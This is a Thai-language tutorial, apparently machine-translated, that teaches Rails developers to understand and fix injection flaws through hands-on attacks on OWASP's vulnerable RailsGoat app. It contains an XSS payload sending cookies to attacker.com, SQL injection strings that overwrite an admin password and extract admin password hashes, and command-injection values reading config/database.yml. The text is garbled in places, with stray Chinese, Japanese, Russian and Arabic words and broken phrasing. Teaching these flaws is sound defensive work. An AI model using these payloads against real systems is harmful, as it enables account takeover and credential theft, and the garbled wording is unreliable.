Computer >> บทช่วยสอนคอมพิวเตอร์ >  >> การเขียนโปรแกรม >> Ruby

ปกป้องแอป Rails: เข้าใจและป้องกันการโจมตีแบบ Injection

หากคุณจัดการข้อมูลผู้ใช้ คุณต้องแน่ใจว่ามันปลอดภ อย่างไรก็ตาม หากคุณเพิ่งเริ่มต้นด้านความปลอดภัย อาจดูยุ่งยาก น่าเบื่อ และซับซ้อน

บทความนี้เป็นบทความแรกในซีรีส์ที่จะสอนคุณเกี่ยวกับชนิดของช่องโหว่ด้านความปลอดภัยที่พบบ่อยและวิธีที่มันส่งผลต่อการพัฒนา Rails เราจะใช้ OWASP Top 10 Web Application Security Risks เป็นแผนที่นำทางผ่านภูมิประเทศนี้

OWASP ย่อมาจาก Open Web Application Security Project เป็นกลุ่มผู้เชี่ยวชาญที่ทำงานเพื่อให้ความรู้แก่โลกเกี่ยวกับปัญหาความปลอดภัยที่สำคัญบนเว็บ รายการ Top 10 ของพวกเขานับช่องโหว่ที่พบบ่อยที่สุดในเว็บแอปพลิเคชัน:

  1. Injection (การฉีดโค้ด)
  2. Broken authentication (การยืนยันตัวตนที่แตกสลาย)
  3. Sensitive data exposure (การเปิดเผยข้อมูลละเอียดอ่อน)
  4. XML external entities (XXE)
  5. Broken access control (การควบคุมการเข้าถึงที่แตกสลาย)
  6. Security misconfigurations (การกำหนดค่าความปลอดผิดพลาด)
  7. Cross-site scripting (XSS)
  8. Insecure deserialization (การถอดรหัสลำดับที่ไม่ปลอดภัย)
  9. Using components with known vulnerabilities (การใช้คอมโพเนนต์ที่มีช่องโหว่ทราบ)
  10. Insufficient logging and monitoring (การบันทึกและการตรวจสอบที่ไม่เพียงพอ)

แม้พวกเขาจะอัปเดตรายการเป็นประจำ แต่มันเปลี่ยนแปลงน้อยกว่าที่คุณคาดหวัง เทคโนโลยีใหม่สืบทอดปัญหาเก่าๆ มา ในบทความนี้ โดยเฉพาะ เราจะครอบคลุม 3 หัวข้อที่เกี่ยวข้องกับการฉีดโค้ด (Injection):

  • JavaScript Injection - เมื่อแอปพลิเคชันยอมรับข้อมูลอันตรายจากไคลเอนต์ ไม่ตรวจสอบ/ทำความสะอาดข้อมูล และส่งกลับไปที่เบราว์เซอร์
  • SQL Injection - เมื่อชิ้นส่วนของ SQL ถูกส่งอย่างเจตนาว่าเป็นส่วนหนึ่งของคำสั่ง query ฐานข้อมูลไปยัง SQL interpreter ที่ไม่ปลอดภัย หลอกให้ interpreter รันคำสั่งอันตรายหรือเข้าถึงข้อมูลละเอียดอ่อน
  • OS Injection - เมื่อโจมตีมุ่งมั่นรันคำสั่งระบบบนแอปพลิเคชันที่ไม่ได้รับการป้องกันซึ่งรับข้อมูลจากคำสั่งระบบ

เราจะไปจากทฤษฎีสู่การปฏิบัติจริงเพื่อสาธิตอย่างสมบูรณ์ว่าทุกอย่างทำงานอย่างไร มาเจาะลึกกันเลย!

ภัยคุกคามจากการฉีดโค้ด (Injection Threats)

หากคุณจัดการแหล่งข้อมูลในแอปพลิเคชันของคุณ แล้วคุณมีเวกเตอร์การฉีดโค้ด (injection vector) ที่เป็นไปได้อยู่ภายใน เมื่อพูดถึงวิธีการแฮ็กที่สร้างสรรค์และนวัตกรรมแอปของคุณ แฮ็กเกอร์ยังคงประดิษฐ์สิ่งใหม่ๆ ที่จะทำให้คุณประหลาดใจ

มาเริ่มกับโลกของการโจมตีแบบฉีดโค้ด หากคุณคิดว่าแอปของคุณถูกทำให้สะอาดและป้องกันแล้ว ให้คิดใหม่อีกครั้ง

การฉีดโค้ด JavaScript (JavaScript Injections)

การฉีดโค้ด JavaScript ซึ่งรู้จักกันทั่วไปในชื่อ Cross-site Scripting (XSS) เกี่ยวกับการหลอกแอปพลิเคชันแบ็กเอนด์ (ซึ่งไคลเอนต์ไว้วางใจ) ให้ส่งข้อมูลและ/หรือสคริปต์อันตรายกลับไปที่เบราว์เซอร์

เมื่อสิ่งนี้เกิดขึ้น โจมตีสามารถรันสคริปต์ในเบราว์เซอร์ของผู้ใช้เพื่อขโมยเซสชัน ขอข้อมูลละเอียดอ่อน " باسم " แอปพลิเคชัน หรือเปลี่ยนเส้นทางผู้ใช้ไปยังเว็บไซต์อันตราย

มาดูส่วนความคิดเห็นบล็อกที่มีชื่อเสียงเป็นตัวอย่าง จินตนาการว่าแอปพลิเคชันของคุณเปราะบางอย่างสมบูรณ์ และรับ POST สำหรับความคิดเห็นใหม่ในบล็อกของคุณ และค่านั้นไปตรงเข้าฐานข้อมูลโดยไม่มีการทำความสะอาด:

POST https://myblog.com/comments data: <script>window.location='https://attacker.com?cookie='+document.cookie</script> 

เมื่อเว็บไซต์ของคุณโหลดส่วนความคิดเห็นใหม่ มันจะดึงความคิดเห็นใหม่ ซึ่งจะรันสคริปต์ที่กำหนดบนเบราว์เซอร์

สคริปต์ซึ่งรันภายในหน้าแอปพลิเคชัน (ยอมรับได้เต็มที่) จะขอข้อมูลคุกกี้ของผู้ใช้และส่งมันไปตรงไปที่ไซต์ของโจมตี

การฉีดโค้ด SQL (SQL Injections)

การฉีดโค้ด SQL เกิดขึ้นเมื่อแอปพลิเคชันที่จัดการกับฐานข้อมูล SQL ไม่ทำความสะอาดอินพุตของผู้ใช้อย่างปลอดภ ทุกครั้งที่อินพุตนี้ถูกต่อกัน (concatenated) หรือ補間 (interpolated) เข้าไปในคำสั่ง query ใดๆ ของคุณ

มีภัยคุกคามหลัก 2 อย่างที่เกี่ยวข้องกับ SQL injection ที่คุณอาจรู้จักในโลก Rails: injection concatenation และ interpolation มาดูความแตกต่างกัน

SQL injection concatenation เป็นที่รู้จักมากที่สุด เกิดขึ้นเมื่อโจมตีส่งชิ้นส่วน SQL อันตรายเป็นส่วนหนึ่งของ HTTP query params หรือ request body มันเป็นกลยุทธ์ที่ทำงานกับฐานข้อมูลส่วนใหญ่ หากเลเยอร์แอปพลิเคชันของคุณไม่สามารถระบุประเภทเนื้อหานี้และทำความสะอาดได้

เป็นตัวอย่าง จินตนาการว่าคุณกำลัง query ผู้ใช้โดย username ของเขาเพื่อดึงข้อมูลละเอียดอ่อน:

User.where("name = '#{userName}'") 

ด้วยการที่ userName เป็นอินพุตผู้ใช้ที่ไม่ได้ทำความสะอาด โจมตีสามารถเปลี่ยนค่า param เป็น

' OR '1'='1' -- 

ผลลัพธ์คำสั่ง query ของคุณจะถูกเปลี่ยนเป็น:

SELECT * FROM users WHERE username = '' OR '1'='1'; 

เนื่องจากเงื่อนไขที่เพิ่มเข้ามาล่าสุดมีค่าเท่ากับ true เสมอ คำสั่ง query นี้จะถูกดำเนินการเสมอ เปิดเผยข้อมูลละเอียดอ่อนหลายร้อยชิ้นจากผู้ใช้ของคุณ

SQL interpolation ก็สามารถนำไปสู่การฉีดโค้ดได้ อย่างไร? คุณจำ scoping feature ของ ActiveRecord ของ Rails ได้ไหม? มันอนุญาตให้เราระบุคำสั่ง query ที่คุณใช้บ่อยๆ เพื่อให้อ้างอิงเป็นการเรียกเมธอด (อย่าง where, joins, และ includes) บนออบเจ็กต์หรือโมเดล association มาดูตัวอย่างนี้:

class User < ApplicationRecord scope :filtered_name, -> { where(name: interpolated_string) } end 

คุณอาจเดาส่วนที่เหลือได้ หากมี clause where ที่ทำให้นักพัฒนาสามารถต่อค่าอินพุตที่ไม่ได้ทำความสะอาดได้ มันจะนำไปสู่ SQL injection เหมือนตัวอย่างก่อนหน้านี้

การฉีดโค้ด OS (OS Injections)

การฉีดโค้ด OS เกิดขึ้นเมื่อแอปพลิเคชันอนุญาตให้ผู้ใช้ป้อนคำสั่งระดับระบบและไม่กรองพวกมัน

ผลลัพธ์อาจเป็นอันตรายมาก เนื่องจากโจมตีจะมีอุโมงค์ฟรีไปยัง OS ที่แอปพลิเคชันกำลังรันอยู่ ขึ้นอยู่กับว่าเลเยอร์ความปลอดภัยพื้นฐานของ OS ตั้งค่าอย่างไร อาจเปิดเผยข้อมูลและไฟล์จากแอปพลิเคชันอื่นๆ ที่รันอยู่ที่นั่นด้วย

ทุกครั้งที่คุณเห็นบรรทัดโค้ดต่อไปนี้ในโค้ดเบส Rails ให้ระวังว่าการฉีดโค้ด OS อาจเกิดขึ้นที่นั่น:

%x[...] system() exec() `my command` // backticks 

พิจารณาการนำไปใช้งาน Rails ต่อไปนี้:

new_path = "/root/public/images/#{some_path}" system("ls #{new_path}") 

โดยที่ some_path มาจากไคลเอนต์ โจมตีสามารถส่งค่าเป็นดังนี้:

some_path = 'some/path; cat ./config/database.yml' 

คุณเข้าใจแล้วใช่ไหม? ข้อมูลฐานข้อมูลทั้งหมด รวมถึง credentials (หากไม่ได้เก็บไว้ใน config cloud อย่างปลอดภ) จะถูกเปิดเผยต่อโจมตี

โปรเจกต์ RailsGoat

เพื่อประหยัดเวลาและหลีกเลี่ยงการพัฒนาตัวอย่างที่เปราะบางมากมายจากศูนย์ โชคดีที่เรามีโปรเจกต์ RailsGoat มันเป็นหนึ่งในโปรเจกต์โอเพนซอร์ส無数 (754 โปรเจกต์) ที่จัดเตรียมโดยที่เก็บ GitHub อย่างเป็นทางการของ OWASP สร้างขึ้นสำหรับ Rails พร้อมช่องโหว่ Top 10 ส่วนใหญ่ที่ запрограммирован (programmed) ไว้โดยเจตนาเพื่อให้ความรู้นักพัฒนาเกี่ยวกับภัยคุกคามด้านความปลอดภัย

ในซีรีส์นี้ เราจะใช้ตัวอย่างจากโปรเจกต์เพื่อสำรวจความเสี่ยงลึกลงไป และดีกว่านั้น ในการปฏิบัติจริง!

การตั้งค่า (Setup)

ก่อนที่คุณจะไปต่อ โปรเจกต์นี้มีการพึ่งพาบางอย่างที่จำเป็น: Ruby, Git, MySQL, และ Postgres ตรวจสอบให้แน่ใจว่ามีทั้งหมดติดตั้งบนเครื่องของคุณก่อนดำเนินการต่อ

เพื่อตั้งค่าโปรเจกต์ ขั้นแรก ให้โคลนมาที่เครื่อง:

git clone https://github.com/OWASP/railsgoat.git 

มันมุ่งเป้าเริ่มต้นที่ Ruby 2.6.5 ดังนั้นให้แน่ใจว่าติดตั้งเวอร์ชันที่เหมาะสมหากคุณยังไม่มี:

rvm install "ruby-2.6.5" 

ต่อไป ให้รันคำสั่งต่อไปนี้ในโฟลเดอร์รากของแอป:

bundle install rails db:setup rails s 

พวกมันจะดาวน์โหลดและติดตั้ง dependencies ของโปรเจกต์ Rails ตั้งค่าฐานข้อมูล และเริ่มเซิร์ฟเวอร์ Rails ตามลำดับ

การปรับปรุงเล็กน้อย (A Few Adjustments)

ขึ้นอยู่กับ OS ของคุณ และเพราะ RailsGoat ค่อนข้างเก่า (ล่าสุด release เมื่อมี.ค. 2018) คำสั่ง install อาจสร้างข้อผิดพลาดบางอย่าง หากคุณใช้ Mac ตัวอย่างเช่น และเจอข้อผิดพลาดต่อไปนี้ที่คอนโซล:

ปกป้องแอป Rails: เข้าใจและป้องกันการโจมตีแบบ Injection ข้อผิดพลาดคอนโซลเกี่ยวกับ libv8

เพียงแค่ติดตั้ง gem ที่จำเป็น:

gem install libv8 -v '3.16.14.19' -- --with-system-v8 

อีกอย่างที่มันอาจร้องเรียนคือ gem therubyracer เนื่องจากบั๊กที่เกี่ยวข้องกับ libv8 ของ Ruby เวอร์ชันนี้ ตรวจสอบให้แน่ใจว่ารันคำสั่งต่อไปนี้:

brew install v8-315 gem install therubyracer -v '0.12.3' -- --with-v8-dir=/usr/local/opt/v8@3.15 

โดยค่าเริ่มต้น การตั้งค่าปัจจุบันจะพิจารณา SQLite เป็นฐานข้อมูลเริ่มต้น สำหรับตัวอย่างต่อไป อย่างไรก็ตาม เราจะต้องการฐานข้อมูลจริง เราจะใช้ MySQL

ขั้นแรก เปิดไฟล์ config/database.yml ค้นหาโหนด mysql และเปลี่ยน configs ตาม credentials MySQL ของคุณ คุณสามารถทิ้งชื่อฐานข้อมูลไว้เหมือนเดิม

หยุดเซิร์ฟเวอร์ Rails และแน่ใจว่า MySQL ทำงานอยู่ แล้วรันคำสั่งต่อไปนี้:

#Create the MySQL database RAILS_ENV=mysql rails db:create #Run the migrations against the database RAILS_ENV=mysql rails db:migrate #Seeds the database with initial records RAILS_ENV=mysql rails db:seed #Boot Rails using MySQl RAILS_ENV=mysql rails s 

ทางเลือกอื่น คุณสามารถเริ่ม RailsGoat ผ่าน Docker ก็ได้ ขึ้นอยู่กับคุณ!

เสร็จแล้ว! ตอนนี้คุณสามารถเปิดเบราว์เซอร์และล็อกอินเข้าแอป RailsGoat ได้ คุณอาจพบ credentials ที่สร้างอัตโนมัติที่ปุ่ม "Tutorial Credentials" บนแถบด้านบน เลือกอันหนึ่ง แต่ให้แน่ใจว่าไม่ใช่ admin user

ปกป้องแอป Rails: เข้าใจและป้องกันการโจมตีแบบ Injection แอปพลิเคชัน MetaCorp Rails

การตั้งค่า HTTP Proxy

แฮ็กเกอร์ทำงานโดยการข่าวขี้ขลาดในสิ่งต่างๆ 主要 HTTP requests และ responses พวกเขาใช้แอปพลิเคชัน HTTP proxy ที่รันระหว่างเบราว์เซอร์และเซิร์ฟเวอร์ โดยการ攔截 (intercepting), แสดงภาพ (visualizing), และแก้ไข (modifying) requests และ responses

สำหรับซีรีส์นี้ เราจะต้องการตัวหนึ่งเหมือนกัน และเครื่องมือที่สมบูรณ์แบบสำหรับงานนี้คือ Burp เป็นเครื่องมือ enterprise แบบจ่ายเงิน แต่วอร์ชั่นฟรี community version เพียงพอสำหรับวัตถุประสงค์ของเราแล้ว ดังนั้น ไปดาวน์โหลดและติดตั้งตามคำแนะนำอย่างเป็นทางการ

จำไว้ว่า Burp ทำด้วย Java ดังนั้นคุณจะต้องมี Java ติดตั้งด้วย

ตรวจสอบให้แน่ใจว่าปฏิบัติตามคำแนะนำเหล่านี้เพื่อให้มันทำงานได้ถูกต้อง เมื่อเครื่องมือเปิดอยู่ ไปที่แท็บ Proxy > Intercept สลับปุ่ม "Intercept is on" และจากนั้น "Open Browser" นี่จะเปิด Google Chromium ที่เชื่อมต่อกับ Burp โดยตรงและอนุญาตให้เราข่าวขี้ขลาด requests/responses

พิมพ์อะไรสักอย่างที่นั่นและดูว่า Burp ติดตามสิ่งต่างๆ อย่างไร

ภัยคุกคามในการปฏิบัติ (Threats in Action)

มาเห็นตอนนี้ว่าแต่ละภัยคุกคามที่เราอภิปรายก่อนหน้านี้เกิดขึ้นในสถานการณ์จริงอย่างไร เราจะเริ่มด้วยการฉีดโค้ด JavaScript

การฉีดโค้ด JavaScript ในการปฏิบัติ

ในแอป RailsGoat เปิดไฟล์ _header.html.erb ที่อยู่ในโฟลเดอร์ views/layouts/shared คุณอาจพบโค้ด HTML ต่อไปนี้:

<li style="color: #FFFFFF">Welcome, <%= current_user.first_name.html_safe %></li> 

เห้ย มันพบว่าเมธอด Rails นี้เรียกชื่อที่ปลอดภ ซึ่งไม่ได้ มันบอกว่าสตริงนีไว้วางใจได้ว่าปลอดภ แต่ไม่ได้ทำความสะอาดอินพุตผู้ใช้

ตรวจสอบให้แน่ใจว่า Burp ไม่ได้รัน และจากนั้นไปที่หน้าลงทะเบียนและพิมพ์สิ่งต่อไปนี้ลงในฟิลด์ "First Name":

<script>alert("hello, XSS!")</script> 

เสร็จสิ้นการลงทะเบียนและล็อกอินด้วยผู้ใช้ที่เพิ่งสร้าง คุณอาจเห็นแถบนำทางแสดง "Welcome " + โค้ดสคริปต์

วิธีแก้ไข

นี่คือความเข้าใจผิดที่พบบ่อย นักพัฒนามักใช้เมธอดนี้ แต่มันไม่รักษาความปลอดภัยข้อมูล แทนที่จะเป็นเช่นนั้น คุณต้องใช้ sanitize ทุกครั้งที่คุณต้องการเรนเดอร์ HTML อย่างชัดเจน

ในตัวอย่าง เพียงแค่ลบ .html_safe ออก และการโจมตีจะถูกกำจัด

เคล็ดลับที่ดีคือการนำเครื่องมืออย่าง SonarQube มารวมในโปรเจกต์ของคุณ เครื่องมือเหล่านี้ระบุภัยคุกคามทั่วไปอย่างตัวอย่างข้างบนและแจ้งเตือนนักพัฒนาเกี่ยวกับอันตรายและวิธีแก้ไข

ไม่อาจพึ่งพาเพียงหน่วยความจำของนักพัฒนาได้

SQL Injection: ตัวอย่าง Concatenation

ตัวอย่าง SQL injection ของ RailsGoat อยู่ภายใน users_controller.rb ภายในโฟลเดอร์ app/controllers เปิดมันและตรวจสอบเนื้อหา

คุณอาจเห็นสองเมธอดหลักสำหรับสร้างและอัปเดตข้อมูลผู้ใช้ภายในฐานข้อมูล คุณตรวจพบบางอย่างผิดปกติกับเมธอด update ของเราไหม? ลองเล่นดูสิ!

นี่คือมัน:

user = User.where("id = '#{params[:user][:id]}'")[0] 

คุณรู้ว่าไม่ถูกต้องที่จะต่อสตริงใน where clause แต่ ให้เราทดสอบความเป็นไปได้ของการแฮ็กก่อนแก้ไข

กลับไปที่แอปที่กำลังรันบนเบราว์เซอร์ Chromium ของ Burp และนำทางไปที่เมนู Account Settings:

ปกป้องแอป Rails: เข้าใจและป้องกันการโจมตีแบบ Injection

การเข้าถึงการตั้งค่าบัญชี

เมื่ออยู่ที่นั่น ให้เปิดเครื่องมือ Burp และแน่ใจว่าปุ่ม "Intercept is on" ถูกสลับ แล้วกรอกฟิลด์รหัสผ่านด้วยค่าบางอย่างและคลิก Submit

Burp จะ攔截 request และภายในแท็บ Params คุณอาจเห็นสิ่งที่คล้ายกับที่แสดงด้านล่าง

ปกป้องแอป Rails: เข้าใจและป้องกันการโจมตีแบบ Injection Burp Suite Tool - Params Tab

ใช่ params ทั้งหมดของ request ของคุณมองเห็นได้ที่นี่ พวกมันไม่ได้เพียงมองเห็นได้ แต่ยังแก้ไขได้อีกด้วย Burp จะค้าง request ของคุณจนกว่าคุณจะเสร็จสิ้นการแก้ไขและปล่อยมันไปที่เซิร์ฟเวอร์

คุณสามารถทำอย่างเดียวกันกับ responses ของคุณได้

ยอดเยี่ยง มาโกงแอปพลิเคชันกัน เป้าหมายของเราคืออัปเดตรหัสผ่านของ admin user แทนที่จะเป็น current logged-in user

ขั้นแรก คุณต้องลบ params email, first_name, และ last_name ของ user ออก เพราะเราไม่ได้มุ่งเปลี่ยนค่าเหล่านี้สำหรับ admin user

ที่สอง คุณอาจแก้ไขค่า param user[id] เป็นสิ่งต่อไปนี้:

0') OR admin = true -- ' 

อะไรกำลังเกิดขึ้นที่นี่? ค่าที่แสดงข้างบน 6 อ้างถึง current logged user id อย่างไรก็ตาม เราไม่ต้องการเปลี่ยนแปลงอะไรกับ user นี้ แค่ admin เท่านั้น ศูนย์เกี่ยวกับไม่มีใคร ซึ่งดี เพราะเงื่อนไขหลัง OR คือสิ่งที่สำคัญสำหรับเรา

ด้วยการที่เราไม่รู้ id ของ admin (หากคุณรู้ จะประหยัดเวลาได้) เราต้องหลอกฐานข้อมูลให้เลือกมันผ่านคอลัมน์ role admin

เมื่อคุณเสร็จสิ้นการแก้ไข คลิกปุ่ม Forward เพื่อให้ request ถูกปล่อย และรหัสผ่านของ admin ถูกอัปเดต

นี่คือ SQL ที่ Rails จะสร้าง:

SELECT `users`.* FROM `users` WHERE (id = '0') OR admin = true -- '') 

ตอนนี้ ไปล็อกอินเข้า บัญชี admin ด้วยรหัสผ่านใหม่ของคุณ

วิธีแก้ไข

มีวิธีที่ปลอดภบางอย่างในการแก้ไข คุณสามารถดึง user จากฐานข้อมูลก่อนที่จะอัปเดตได้ตลอดเวลา ไม่ว่า客户端请求จะส่งอะไรมา

อย่างไรก็ตาม มันขึ้นอยู่กับสไตล์การเขียนโค้ดของนักพัฒนา ซึ่งไม่ได้รับประกันเสมอไป

ดังนั้น parameterized database queries มาช่วยเหลือ! มาดู:

user = User.where("id = ?", params[:user][:id])[0] 

ง่ายแค่นั้น! ไม่มีการแฮ็กอีกต่อไป

SQL Injection: ตัวอย่าง Interpolation

ใน RailsGoat แต่ละ request จะถูกเก็บในฐานข้อมูลเป็นฟีเจอร์การตรวจสอบ (auditing) สำหรับตัวอย่างนี้ เรามาวิเคราะห์คลาส analytics.rb ซึ่งเก็บ scope ชื่อ hits_by_ip นี่คือฟีเจอร์แอดมินที่แสดงรายการข้อมูล request จากฐานข้อมูล

ดูว่ามัน interpolates สตริงภายใน scope อย่างไร:

scope :hits_by_ip, ->(ip, col = "*") { select("#{col}").where(ip_address: ip).order("id DESC") } 

อย่างไรก็ตาม วิธีนี้อันตราย! มาดูว่าทำไม เนื่องจากคุณล็อกอินเป็นผู้ใช้ทั่วไป บางเมนูอาจไม่แสดง แต่มันไม่ได้หมายความว่า endpoints ของมันไม่พร้อมใช้งาน ดังนั้น ไปที่ https://localhost:3000/admin/1/analytics

เนื่องจากเราทำงานที่ระดับ localhost คุณจะพบข้อมูลภายใต้ IP 127.0.0.1 เท่านั้น อย่างไรก็ตาม ใน production คุณจะค้นหา client IP

ดังนั้น พิมพ์ 127.0.0.1 ลงในกล่องข้อความ "Search by IP" และกด enter อย่าลืมเปิดปุ่ม intercept บนเครื่องมือ Burp ของคุณ

เมื่อคุณอยู่ที่แท็บ Params คุณอาจคลิกปุ่ม Add เพื่อเพิ่ม param ใหม่แบบ URL และให้ชื่อดังนี้:

field[(select+group_concat(password)+from+users+where+admin=true)] 

เนื่องจาก scope รับสตริงที่ interpolated คุณสามารถเพิ่มกฎให้กับ select query ได้เท่าไหร่ก็ได้ คำสั่ง query นี้โดยเฉพาะจะกลายเป็น:

SELECT (select group_concat(password) from users where admin = true) FROM analytics WHERE ip_address = "127.0.0.1" ORDER BY id DESC; 

หมายความว่าเรากำลังดึงรหัสผ่านที่แฮชของ admin จากฐานข้อมูลและแสดงมันโดยตรงใน view ของเรา:

ปกป้องแอป Rails: เข้าใจและป้องกันการโจมตีแบบ Injection การ query รหัสผ่านที่แฮชของ admin

วิธีแก้ไข?

ขั้นแรก ตรวจสอบให้แน่ใจว่าผู้ใช้ของคุณจะเข้าถึงได้เฉพาะสิ่งที่พวกเขาต้องเข้าถึง Endpoints เหล่านี้ไม่ควรเข้าถึงได้หรือไม่ได้รับการป้องกัน

เป็นแนวทางป้องกันอีกอย่าง คุณสามารถ whitelist ค่าที่ควรยอมรับและจำกัดสิ่งที่ไม่ควร มาดูเมธอด parse_field ภายในคลาสโมเดลเดียวกัน มันตรวจสอบว่า field ที่ให้มารวมอยู่ในอาร์เรย์ whitelist หรือไม่

ดังนั้น ก่อนที่จะเรียก scope ของโมเดล คุณอาจ iterate ผ่าน params และตรวจสอบว่าพวกมันโอเคที่จะไปหรือไม่ มาทำมันโดยการอัปเดตบรรทัด 18 ของ admin_controller.rb (ซึ่งเรียก scope):

fields = params[:field].map {|k,v| Analytics.parse_field(k) }.join(",") 

การฉีดโค้ด OS ในการปฏิบัติ

มาสำรวจตัวอย่างการฉีดโค้ด OS ภายใน RailsGoat เปิดโมเดล benefits.rb ภายใต้โฟลเดอร์ app/models และดูเมธอด make_backup ของมัน

เมธอดนี้สร้างสำเนาสำรองของไฟล์ที่กำลังอัปโหลดผ่านส่วน “Benefit Forms” ของแอปพลิเคชัน ไม่ดูเหมือนจะมีปัญหาที่นี่ ยกเว้นว่าเมธอดใช้คำสั่ง system:

silence_streams(STDERR) { system("cp #{full_file_name} #{data_path}/bak#{Time.zone.now.to_i}_#{file.original_filename}") } 

มันดูถูกต้องในตอนแรก แต่ดูอีกครั้ง เราสามารถต่อคำสั่งระบบอื่นๆ จากอินพุตผู้ใช้ได้อย่างสมบูรณ์ และพวกมันจะรันได้ดีเยี่ยม เช่น การสร้างไฟล์

รอสักครู่ นี่คือฟีเจอร์อัปโหลดไฟล์ เราจะอัปเดตอินพุตของไฟล์ได้อย่างไร? มาดูในการปฏิบัติ

กลับไปที่แอป RailsGoat คลิกเมนู "Benefit Forms" เลือกไฟล์ที่คุณชอบ และเปิดปุ่ม intercept ของ Burp แล้วคลิก Start Upload

เมื่อ request ถูก攔截 คุณจะเห็นเนื้อหา header ของมัน ตามที่แสดงด้านล่าง

ปกป้องแอป Rails: เข้าใจและป้องกันการโจมตีแบบ Injection การอัปโหลดไฟล์ถูก攔截

ในภาพ คุณเห็น params สองตัวที่ไฮไลท์: benefits[backup] และ benefits[upload]

เราต้องเปลี่ยนค่าของตัวแรกเป็น true เนื่องจากเราต้องการเปิดใช้งานโฟลว์ที่ทำสำเนาสำรองของไฟล์ และดังนั้นจึงเป็นที่ที่ช่องโหว่อยู่

ต่อไป เปลี่ยนคุณสมบัติ filename ของ param ตัวที่สองเป็น:

filename="kid-2.png;+touch+abc.txt" 

จากนั้น ปล่อยปุ่ม intercept นี่จะแปลเป็นคำสั่งใหม่ที่ท้ายการดำเนินการ ซึ่งสร้างไฟล์ใหม่ชื่อ abc.txt นอกจากจะเรียบง่ายแล้ว นี่เป็นตัวอย่างที่ดีของว่าระบบของคุณอาจเปราะบางและเป็นสนามเด็กเล่นที่สมบูรณ์สำหรับแฮ็กเกอร์เพียงใด

การป้องกันการฉีดโค้ด OS

อาจดูชัดเจนนิดหน่อย ทำไมต้องคัดลอกไฟล์ผ่านคำสั่งระบบ? คุณจะตกใจกับจำนวนแอปพลิเคชัน legacy ที่กำลังรันอยู่ภายนอก หลายตัวประกอบด้วยโค้ดเบสใหญ่โต ซึ่งสามารถทำให้งานตรวจจับช่องโหว่เช่นนี้กลายเป็นงานเฮอร์คิวลิส (herculean task)

ดังนั้น ใช่ เพียงแค่ใช้ไลบรารีภายในอย่างเป็นทางการ เช่น FileUtils ของ Ruby:

FileUtils.cp "#{full_file_name}", "#{data_path}/bak#{Time.zone.now.to_i}_#{file.original_filename}" 

สรุป (Wrapping Up)

วันนี้เราเดินทางผ่านน้ำเสียวของภัยคุกคามด้านความปลอดภัยแบบฉีดโค้ด แม้ชิ้นงานนี้จะไม่ครอบคลุมปัญหาทั้งหมดที่เกี่ยวข้องกับการฉีดโค้ด แต่สำรวจสิ่งที่มีชื่อเสียงที่สุด ตามที่ OWASP ระบุ

เป็นโบนัส ฉันจะให้ลิงก์สำคัญบางอย่างที่จะช่วยปรับปรุงความรู้ของคุณเกี่ยวกับเรื่องนี้ ตัวแรก ก็คือบทความ OWASP Top Ten มีลิงก์ภายนอกมากมายไปยังบทความอื่นๆ ที่รวมตัวอย่างและสถานการณ์ต่างๆ

Rails SQL Injection เป็นเอกสารที่รวบรวมโดยสมาชิกบางส่วนของชุมชนที่จัดการ SQL injections ทั่วไปผ่านตัวอย่างปฏิบัติจริง มันเป็น must-read หลังจากที่เราครอบคลุมมาจนถึงตอนนี้

สุดท้าย ไม่ใช่น้อยที่สุด มีเอกสาร Security Rails อย่างเป็นทางการ พวกมันครอบคลุมทุกอย่างเกี่ยวกับความปลอดภัยภายในแอปพลิเคชัน Rails รวมถึงการฉีดโค้ด ดังนั้น ให้แน่ใจว่าอ่านมันอย่างละเอียด ต่อไปการเรียนรู้ของคุณ และเราจะเจอกันที่จุดหยุดถัดไป!